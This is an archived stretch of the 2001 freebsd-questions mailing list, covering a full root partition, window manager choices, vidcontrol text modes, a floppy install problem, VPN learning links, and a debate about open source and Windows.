Subject: Re: Re: / is full!!!! Please help... Date: Tue, 20 Nov 2001 21:24:34 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > --- Garance A Drosihn wrote: > > At 9:40 PM -0800 11/19/01, Tom Kersten wrote: > > >Hello all, > > > > > >My root directory is getting close to being full > > (97+%). > > >It is 45 mb....is this too small??? I symlinked the > > /var > > >directory to /usr/var after installation and > > thought that > > >45 mb would be enough...it says that 30 is > > sufficient in > > >"The Complete FreeBSD"..so I put in a little more > > just in > > >case. > > I have symbolic links for both the /tmp and /var > directories to /usr/tmp & /usr/var, those don't appear > to be my problems. The majority of the space seems to > be being hogged by the /root/.kde directory (& its > subdirectories). Are these supposed to be in here??? If you're running KDE as root, then yes, since KDE will create a .kde file in user's home directory (for root, it's /) to store user preferences and whatnot. You really shouldn't be using the root account as your day-to-day account. Create a normal user account for youself and use it instead of the root account. Normal user accounts are in /usr/home, so your .kde directory won't eat up space on /. -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:26: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.22.40]) by hub.freebsd.org (Postfix) with ESMTP id 5508537B405 for ; Tue, 20 Nov 2001 18:26:02 -0800 (PST) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.11.3/8.11.3) with ESMTP id fAL2Q0792858; Tue, 20 Nov 2001 21:26:00 -0500 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <20011121013244.78185.qmail@web10007.mail.yahoo.com> References: <20011121013244.78185.qmail@web10007.mail.yahoo.com> Date: Tue, 20 Nov 2001 21:25:58 -0500 To: Tom Kersten From: Garance A Drosihn Subject: Re: Re: / is full!!!! Please help... Cc: freebsd-questions@freebsd.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 5:32 PM -0800 11/20/01, Tom Kersten wrote: >I have symbolic links for both the /tmp and /var >directories to /usr/tmp & /usr/var, those don't appear >to be my problems. The majority of the space seems to >be being hogged by the /root/.kde directory (& its >subdirectories). Are these supposed to be in here??? >What are some of my other options...since my problem >is not the /tmp & /var directories.... Well, I don't use KDE much, so I'm not sure what would be in there. My guess is that you should be OK by making a tar-file archive of that directory (on some other partition), and then removing it. Reboot. See how things are working. Reminder warning: I don't use KDE (and in fact, it's pretty rare that I run X at all as root). -- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:28: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 07F5E37B416 for ; Tue, 20 Nov 2001 18:28:01 -0800 (PST) Received: (qmail 83527 invoked by uid 100); 21 Nov 2001 02:28:15 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15355.4415.862506.772290@guru.mired.org> Date: Tue, 20 Nov 2001 20:28:15 -0600 To: "Andrew C. Hornback" Cc: questions@freebsd.org Subject: RE: home pc use In-Reply-To: <006d01c17232$40b01f60$6600000a@ach.domain> References: <15354.60877.44081.17515@guru.mired.org> <006d01c17232$40b01f60$6600000a@ach.domain> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Andrew C. Hornback types: > > > Long ago, I saw a very simple windowed desktop on DEC UNIX systems, if I > > > remember correctly. Can anyone tell me what sort of > > environment that was? I > > > don't need something fancy, just something that will let me run > > programs that > > > require an X environment. I don't care if I hear lovely chimes when I > > > double-click on icons, and I don't need to have a menu of 3,245 > > desktop themes > > > to choose from. > > > > DEC workstations shipped with the mwm window manager as the default > > window manager. At the time, it was a pretty fancy window > > manager. It's still a lot heavier than anything I'd call "simple". > > That would have been either CDE or Motif, if I remember my history > correctly. Both are still widely respected in the GUI world, but if they > don't float your boat, you've got alternatives. Personally, I love the look > of OpenLook, which is why I run OLVWM on my laptop. I don't know what I'm > going to run on my workstation yet, as I'm still configuring it. mwm is the Motif Window Manager. I left DEC before CDE became popular. I vaguely recall something about KDE being an open-source clone of CDE, but I don't pay much attention to desktop managers. > > As indicated above, the simplest window manager of them all is not > > bothering to run one. The closest thing to that is ratpoison, which is > > in the ports tree. No icons, now frames, no sounds; it's all driven > > from the keyboard. Beyond that there are a number of window managers > > that don't do any icons and only provide simple frames. I prefer lwm > > from that set, but it's certainly not the only choice. > Not sure I could deal with ratpoison, but it doesn't sound like it would be > THAT bad... *grins* If you've ever used screen, you'll have an idea of what using ratpoison is like. The default keybindings for most commands are even lifted from screen. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:28:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 6115F37B405 for ; Tue, 20 Nov 2001 18:28:04 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAL2S1796487; Wed, 21 Nov 2001 03:28:01 +0100 (CET) Message-ID: <01e201c17234$24bc2360$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Mike Meyer" Cc: References: <15354.60877.44081.17515@guru.mired.org><019701c17224$013e6520$0a00000a@atkielski.com> <15355.2770.644343.846234@guru.mired.org> Subject: Re: home pc use Date: Wed, 21 Nov 2001 03:27:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike writes: > [Begin rant] They died because users want to > "own" their things. They don't want to have to > trust their data to some central server controlled > by the IT staff, though they expect the IT > staff to back up their machines. [end rant] Since the advent of the PC, there has been a huge shift away from central systems in general. This is most unfortunate, because a great many types of business are best facilitated with simple terminals and a large central system, instead of expensive and volatile desktop computers at every workstation. But perhaps the pendulum will swing back someday. It seems to me that an X terminal could very much simulate a personal computer for the average end user in an office, anyway. > There are those who claim that XP is going to > shake out all the people who don't want to pay > for an OS. The problem is that there might not be enough people left to make the OS profitable. > On the other hand, I've already been offered a > copy of XP Professional that supposedly had > the code that enforces the "pay forever" model > ripped out. I read that cracks for the Product Activation stuff have been on the Web for weeks now. > Money isn't the crucial resource, programmer > time is. Same thing. Programmers have to pay the rent, too. Just be glad that software isn't managed like pop music or movies on DVD. > Some of it goes to marketing, but that's because > more programmers using FreeBSD means more programmers > working on keeping the product alive. I don't know about that. One of the problems with open source is that everyone wants to use the product for free, but hardly anyone is willing to contribute to maintaining or developing or supporting it. > There are *lots* of other options. Let's see ... plain text, a GUI ... and what else? > You mean inside the company. Or anywhere. > If you've got sufficiently good - or stupid - > management, you *can* tell them you're waiting on > an answer from the support list. If they are stupid, I'd agree. If they are good, then either you won't be using open-source freeware, or you will know the freeware you are using so well that you don't have to wait on a response from a support list--you're more likely to be _answering_ questions on the support list. > You do know you can buy tech support for FreeBSD > if you really want it, don't you? So I've heard. Is it any good? Even vendor-supplied support is often dismal. > I agree - the chances of a typical user having > a use for an application that is only available > under Windows is about one in one hundred million. There are quite a few commonly-used applications that exist only under Windows. > Does it have to be an integrated tool? I'd like it to have a simple way to maintain the directory structure for the site, although I guess I could do that by hand with FTP or something. It would also be nice to have a good source editor. The editor is more important than the file maintenance stuff. I never use any of the other "features" of Visual InterDev, which is a mess overall. > I have as yet to find a point-n-clicky html or > xml editor that was as nice as psgml mode in > emacs. Does it also work for C code and Perl and so on? I like something that handles indents automagically, in particular. > Sounds like things have improved radically since > I got sick of dealing with it. Version 3.x was at least equal to Netscape 4.x; from version 4.x on, MSIE was the leader, and remains so today. > From the looks of the web, MS still supports > their extensions, as that's what people are using. Which ones? I see a rare marquee extension now and then, but that's about it. > For one thing, Sun supports their product, > instead of palming support off on resellers > so they don't have to deal with bugs. So does MS, if you pay for it. It's not cost-effective to provide unlimited support for products that are sold at the consumer prices that MS often charges. If you pay $600 for a Microsoft product, for example, and you make three support calls on it, MS is already losing money on the sale. > That latter is the real difference. Writing an > application that works in a GUI environment on > both Windows and other platforms is a PITA, > and MS is doing everything they can to keep > it that way. What choice do they have? Making the Windows GUI compatible with UNIX would be no easier than making the various UNIX GUIs compatible with Windows. > If someone power cycled the thing or some such, > it won't have a dump. My impression was that this was a very hard reboot, like pressing the reset button. I almost thought it might have been a power failure, but the UPS would beep loudly if the line power dropped. > All traps in kernel mode go through a procedure > that does a core dump before rebooting the > machine. Maybe I missed the dump. Where does it go by default? I looked in what seemed like likely places, like / and /tmp and what-not, but I didn't see anything that ended in .core. > If you've got a problem that's causing a hard > reboot without creating a trap in kernel mode, > you've got a *nasty* problem. Possibly, unless it was a very bizarre hardware glitch. > Since it's not repeatable, it's hard to tell. As long as it's not repeating, I'm happy. > Are you sufficiently confused yet? Yes, you've done very well, thanks. I'm sure I'll have X-rated dreams this evening. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:29:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id B833837B405 for ; Tue, 20 Nov 2001 18:29:42 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAL2TeH98528; Wed, 21 Nov 2001 03:29:40 +0100 (CET) Message-ID: <01e901c17234$5f742e80$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "list" Cc: "FreeBSD Questions" References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> <20011120181448.A11883@museum.rain.com> Subject: Re: How do I set vidcontrol modes? Date: Wed, 21 Nov 2001 03:29:34 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG A few of them work, many don't. Shouldn't all the modes listed by the command also be accepted by it?? I get "Invalid argument" messages on the modes that don't work. ----- Original Message ----- From: "list" To: "Anthony Atkielski" Cc: "FreeBSD Questions" Sent: Wednesday, November 21, 2001 03:14 Subject: Re: How do I set vidcontrol modes? > On Wed, Nov 21, 2001 at 01:54:13AM +0100, Anthony Atkielski wrote: > > > So how do I pick a mode off the list and > > specify it in a subsequent vidcontrol command in order to change modes? > > For starters, you can ignore the graphics modes: > > vidcontrol -i mode | grep -w T > > Then enter the keyword that follows the T. > > 0 (0x000) 0x00000001 T 40x25 8x8 0xb8000 32k 32k 0x00000000 32k > 1 (0x001) 0x00000001 T 40x25 8x8 0xb8000 32k 32k 0x00000000 32k > 2 (0x002) 0x00000001 T 80x25 8x8 0xb8000 32k 32k 0x00000000 32k > 3 (0x003) 0x00000001 T 80x25 8x8 0xb8000 32k 32k 0x00000000 32k > 19 (0x013) 0x00000001 T 40x25 8x14 0xb8000 32k 32k 0x00000000 32k > 20 (0x014) 0x00000001 T 40x25 8x14 0xb8000 32k 32k 0x00000000 32k > 21 (0x015) 0x00000001 T 80x25 8x14 0xb8000 32k 32k 0x00000000 32k > 22 (0x016) 0x00000001 T 80x25 8x14 0xb8000 32k 32k 0x00000000 32k > 23 (0x017) 0x00000001 T 40x25 8x16 0xb8000 32k 32k 0x00000000 32k > 24 (0x018) 0x00000001 T 80x25 8x16 0xb8000 32k 32k 0x00000000 32k > 30 (0x01e) 0x00000001 T 80x50 8x8 0xb8000 32k 32k 0x00000000 32k > 32 (0x020) 0x00000001 T 80x30 8x16 0xb8000 32k 32k 0x00000000 32k > 34 (0x022) 0x00000001 T 80x60 8x8 0xb8000 32k 32k 0x00000000 32k > 112 (0x070) 0x00000000 T 80x43 8x8 0xb8000 32k 32k 0x00000000 32k > 113 (0x071) 0x00000001 T 80x43 8x8 0xb8000 32k 32k 0x00000000 32k > 264 (0x108) 0x00000009 T 80x60 9x8 0xb8000 32k 32k 0x00000000 16384k > 265 (0x109) 0x00000009 T 132x25 9x16 0xb8000 32k 32k 0x00000000 16384k > 266 (0x10a) 0x00000009 T 132x43 9x8 0xb8000 32k 32k 0x00000000 16384k > 267 (0x10b) 0x00000009 T 132x50 9x8 0xb8000 32k 32k 0x00000000 16384k > 268 (0x10c) 0x00000009 T 132x60 9x8 0xb8000 32k 32k 0x00000000 16384k > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:35:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.comstocksys.com (208.185.161.233.comstocksys.com [208.185.161.233]) by hub.freebsd.org (Postfix) with ESMTP id E33FF37B417 for ; Tue, 20 Nov 2001 18:35:52 -0800 (PST) Received: by mail.comstocksys.com (Postfix, from userid 48) id C013D20801D; Tue, 20 Nov 2001 18:35:48 -0800 (PST) To: freebsd-questions@FreeBSD.ORG Subject: Floppy Boot installation problems: Plz help Message-ID: <1006310148.3bfb1304b6625@mail.comstocksys.com> Date: Tue, 20 Nov 2001 18:35:48 -0800 (PST) From: Ashwin Kotian MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.6 X-Originating-IP: 192.168.1.202 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I've been trying to install the current stable version of FreeBSD v.4.4 through the floppy boot installation method. I've used fresh new floppies & have formatted them under Linux (and also Windows NT ). I've copied the image files for kern.flp & mfsroot.flp onto 2 individual floppies. I've been able to boot from both floppies in succession till the phase where we resolve the conflicts during installation. However inspite of specifying the minimum hardware for the kernel to probe, once I quit & save the parameters, after probing for the common devices until it finishes probing the system console device, the machine stays hung up. I've tried with a no. of new floppies. Also the image files which I dowloaded were in binary mode. Still I'm unable to proceed with the installation of FreeBSD. This machine currently has FreeBSD v4.3 installed & running, however I've read that it is better to redo the entire installation from scratch rather than do the upgrade. Any help here will be greatly appreciated. Thanks a lot, Ashwin. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:36:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from museum.rain.com (museum.rain.com [206.29.168.234]) by hub.freebsd.org (Postfix) with ESMTP id AE33237B416 for ; Tue, 20 Nov 2001 18:36:52 -0800 (PST) Received: (from list@localhost) by museum.rain.com (8.11.6/8.11.4) id fAL2aoI12006; Tue, 20 Nov 2001 18:36:50 -0800 (PST) (envelope-from list) Date: Tue, 20 Nov 2001 18:36:50 -0800 From: list To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: How do I set vidcontrol modes? Message-ID: <20011120183650.B11883@museum.rain.com> References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> <20011120181448.A11883@museum.rain.com> <01e901c17234$5f742e80$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <01e901c17234$5f742e80$0a00000a@atkielski.com>; from anthony@atkielski.com on Wed, Nov 21, 2001 at 03:29:34AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG There is a page at www.mostgraveconcern.com/freebsd which covers setting up vidcontrol. You might get the rest of what you're missing from there. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:51:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id 7DEB237B405 for ; Tue, 20 Nov 2001 18:51:20 -0800 (PST) Received: from SAGEONE (adsl-208-191-227-18.dsl.crchtx.swbell.net [208.191.227.18]) by sage-american.com (8.9.3/8.9.3) with SMTP id UAA05168; Tue, 20 Nov 2001 20:51:11 -0600 (CST) Message-Id: <3.0.5.32.20011120205123.00fc5ac0@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Tue, 20 Nov 2001 20:51:23 -0600 To: "Anthony Atkielski" , "list" From: jacks@sage-american.com Subject: Re: How do I set vidcontrol modes? Cc: "FreeBSD Questions" In-Reply-To: <01e901c17234$5f742e80$0a00000a@atkielski.com> References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> <20011120181448.A11883@museum.rain.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Have you entered the necessary fonts for those modes in the rc.conf.....??? See /etc/defaults/rc.conf for the fonts..... At 03:29 AM 11.21.2001 +0100, Anthony Atkielski wrote: >A few of them work, many don't. Shouldn't all the modes listed by the command >also be accepted by it?? I get "Invalid argument" messages on the modes that >don't work. > >----- Original Message ----- >From: "list" >To: "Anthony Atkielski" >Cc: "FreeBSD Questions" >Sent: Wednesday, November 21, 2001 03:14 >Subject: Re: How do I set vidcontrol modes? > > >> On Wed, Nov 21, 2001 at 01:54:13AM +0100, Anthony Atkielski wrote: >> >> > So how do I pick a mode off the list and >> > specify it in a subsequent vidcontrol command in order to change modes? >> >> For starters, you can ignore the graphics modes: >> >> vidcontrol -i mode | grep -w T >> >> Then enter the keyword that follows the T. >> >> 0 (0x000) 0x00000001 T 40x25 8x8 0xb8000 32k 32k 0x00000000 32k >> 1 (0x001) 0x00000001 T 40x25 8x8 0xb8000 32k 32k 0x00000000 32k >> 2 (0x002) 0x00000001 T 80x25 8x8 0xb8000 32k 32k 0x00000000 32k >> 3 (0x003) 0x00000001 T 80x25 8x8 0xb8000 32k 32k 0x00000000 32k >> 19 (0x013) 0x00000001 T 40x25 8x14 0xb8000 32k 32k 0x00000000 32k >> 20 (0x014) 0x00000001 T 40x25 8x14 0xb8000 32k 32k 0x00000000 32k >> 21 (0x015) 0x00000001 T 80x25 8x14 0xb8000 32k 32k 0x00000000 32k >> 22 (0x016) 0x00000001 T 80x25 8x14 0xb8000 32k 32k 0x00000000 32k >> 23 (0x017) 0x00000001 T 40x25 8x16 0xb8000 32k 32k 0x00000000 32k >> 24 (0x018) 0x00000001 T 80x25 8x16 0xb8000 32k 32k 0x00000000 32k >> 30 (0x01e) 0x00000001 T 80x50 8x8 0xb8000 32k 32k 0x00000000 32k >> 32 (0x020) 0x00000001 T 80x30 8x16 0xb8000 32k 32k 0x00000000 32k >> 34 (0x022) 0x00000001 T 80x60 8x8 0xb8000 32k 32k 0x00000000 32k >> 112 (0x070) 0x00000000 T 80x43 8x8 0xb8000 32k 32k 0x00000000 32k >> 113 (0x071) 0x00000001 T 80x43 8x8 0xb8000 32k 32k 0x00000000 32k >> 264 (0x108) 0x00000009 T 80x60 9x8 0xb8000 32k 32k 0x00000000 >16384k >> 265 (0x109) 0x00000009 T 132x25 9x16 0xb8000 32k 32k 0x00000000 >16384k >> 266 (0x10a) 0x00000009 T 132x43 9x8 0xb8000 32k 32k 0x00000000 >16384k >> 267 (0x10b) 0x00000009 T 132x50 9x8 0xb8000 32k 32k 0x00000000 >16384k >> 268 (0x10c) 0x00000009 T 132x60 9x8 0xb8000 32k 32k 0x00000000 >16384k >> >> >> >> >> > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19: 1:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id 50DF437B405 for ; Tue, 20 Nov 2001 19:01:15 -0800 (PST) Received: from d226-39-102.home.cgocable.net ([24.226.39.102] helo=x1-6-00-50-ba-de-36-33.kico1.on.home.com) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 166NdW-0004EW-00; Tue, 20 Nov 2001 22:01:19 -0500 Received: from localhost (genisis@localhost) by x1-6-00-50-ba-de-36-33.kico1.on.home.com (8.11.6/8.11.6) with ESMTP id fAL37aQ35420; Tue, 20 Nov 2001 22:07:37 -0500 (EST) (envelope-from genisis@istar.ca) X-Authentication-Warning: x1-6-00-50-ba-de-36-33.kico1.on.home.com: genisis owned process doing -bs Date: Tue, 20 Nov 2001 22:07:15 -0500 (EST) From: Dru X-X-Sender: To: Thor Legvold Cc: Subject: Re: Networking questions In-Reply-To: Message-ID: <20011120220100.M35257-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Thor Legvold wrote: > While trying to debug my VPN connection, I've come to the conclusion that my > networking knowledge is severely outdated and lacking in several areas > (which is fine, I like learning new stuff). I worked with SunOS, AIX and > NextStep about 10 years ago, did SLIP, but need info especially when it > come's to a lot of the "new" things (tunneling, pptp), but also in regards > to some of the old that I never really got involved in (nat, firewalls). > > I wonder if anyone knows some good links to get a basic overview of > networking concepts and practices. I know what TCP/IP, UDP and such are and > how they work in general, the OSI model etc etc, but I'm thinking of things > like: where does a VPN tunnel fit in a normal network setup - is it > parallell to the existing network(s), do exisiting hosts use aliases (so > each has a regular LAN IP and a VPN IP on the same interface) or what? Does > natd function on the outside, inside or from within a firewall? In a > gatewayed system, where do virtual adapters (tunnels and pptp/ppp) end up > relative to the existing internal LAN and external Internet/WAN? Trying to > get all of this in a clear conceptual framework in my head so I know where > to look to debug this problem I'm having with mpd-netgraph, and to better > understand my own network setup both now and in the future. > > My ISP turns off the NAT system for good tomorrow and allows only VPN > connections from then on (which I still haven't gotten to work), so it might > be a while before I'm able to reply to any messages, but I should manage to > be able to read responses from somewhere. > > Regards, Hi Thor, OK, if you like reading, lots of good basic and technical vpn stuff here to get you started: http://kubarb.phsx.ukans.edu/~tbird/vpn/vpn-general.html There's a tutorial on setting up a vpn over a ppp link on FreeBSD here: http://unix.za.net/gateway/documentation/networking/vpn/fbsd.html Another tutorial here, scarce but with excellent links: http://freebsd.cg.nu/ipsec.html HTH, Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19: 7:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id DF9E437B405 for ; Tue, 20 Nov 2001 19:06:38 -0800 (PST) Received: (qmail 83960 invoked by uid 100); 21 Nov 2001 03:03:08 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15355.6508.841314.798412@guru.mired.org> Date: Tue, 20 Nov 2001 21:03:08 -0600 To: "Anthony Atkielski" Cc: Subject: Re: home pc use In-Reply-To: <01e201c17234$24bc2360$0a00000a@atkielski.com> References: <15354.60877.44081.17515@guru.mired.org> <019701c17224$013e6520$0a00000a@atkielski.com> <15355.2770.644343.846234@guru.mired.org> <01e201c17234$24bc2360$0a00000a@atkielski.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski types: > Mike writes: > > There are those who claim that XP is going to > > shake out all the people who don't want to pay > > for an OS. > The problem is that there might not be enough people left to make the OS > profitable. That's only a problem if you are one of the wealthiest people in the world and your last name is "Gates". Or you work for him. > > Money isn't the crucial resource, programmer time is. > Same thing. Programmers have to pay the rent, too. Correct, except that it's easier to explain where the programmer time comes from. > > Some of it goes to marketing, but that's because > > more programmers using FreeBSD means more programmers > > working on keeping the product alive. > I don't know about that. One of the problems with open source is that everyone > wants to use the product for free, but hardly anyone is willing to contribute to > maintaining or developing or supporting it. So long as there are enough people working on it to keep it alive, the number that use it without contributing is immaterial. > > > > Exactly. If I wanted to clone Windows, I wouldn't run FreeBSD on my desktop. > > > Agreed. That's why FreeBSD has just a plain text console on my desktop right > > > now. > > There are *lots* of other options. > Let's see ... plain text, a GUI ... and what else? There are lots of GUI's that aren't a clone of MS-Windows. Being able to get to those is a good reason not to run MS-Windows. > > If you've got sufficiently good - or stupid - > > management, you *can* tell them you're waiting on > > an answer from the support list. > If they are stupid, I'd agree. If they are good, then either you won't be using > open-source freeware, or you will know the freeware you are using so well that > you don't have to wait on a response from a support list--you're more likely to > be _answering_ questions on the support list. See next answer. > > You do know you can buy tech support for FreeBSD > > if you really want it, don't you? > So I've heard. Is it any good? Even vendor-supplied support is often dismal. The good managers *know* that vendor-supplied support is often dismal. As such, they realize that what you can get from a mail list may be every bit as good, and so understand about "waiting on the list." In particular, I used to get answers back from sun-managers before I got answers back from Sun's vendor support, and Sun is among the better vendor support groups I've dealt with. As for freebsd commercial support, I can't say. I've never had a client or manager open-minded enough to use free software and stupid enough to need that particular comfort blanket. > > I agree - the chances of a typical user having > > a use for an application that is only available > > under Windows is about one in one hundred million. > There are quite a few commonly-used applications that exist only under Windows. Of course there are - that's one of the things that keeps people stuck with MS-Windows. However, what ninety-nine million, nine hundred and ninety-nine thousand, nine hundred and ninety-nine people out of a hundred million use them for can be done with applications available on Unix. > > Does it have to be an integrated tool? > I'd like it to have a simple way to maintain the directory structure for the > site, although I guess I could do that by hand with FTP or something. It would > also be nice to have a good source editor. The editor is more important than > the file maintenance stuff. I never use any of the other "features" of Visual > InterDev, which is a mess overall. There are certainly better tools than ftp for maintaining file structure. Personally, I use Perforce. > > I have as yet to find a point-n-clicky html or > > xml editor that was as nice as psgml mode in > > emacs. > Does it also work for C code and Perl and so on? I like something that handles > indents automagically, in particular. Yes, it autoindents for HTML, XML, C and Perl. Not to mention Python, LISP, and a host of other things. It doesn't pretend to be a WYSIWYG HTML editor, but it can format HTML and follow links on the fly. It also has hooks to interact with Perforce. The XML/HTML editing features include syntax coloring, validation, completion of legal tags, and a "close the currently open tag" command. > > Sounds like things have improved radically since > > I got sick of dealing with it. > Version 3.x was at least equal to Netscape 4.x; from version 4.x on, MSIE was > the leader, and remains so today. MSIE 4.x may have been better than Netscape 4.x, but trying to get something that did anything complicated, worked in both of them, and followed the standards was a nightmare. > > From the looks of the web, MS still supports > > their extensions, as that's what 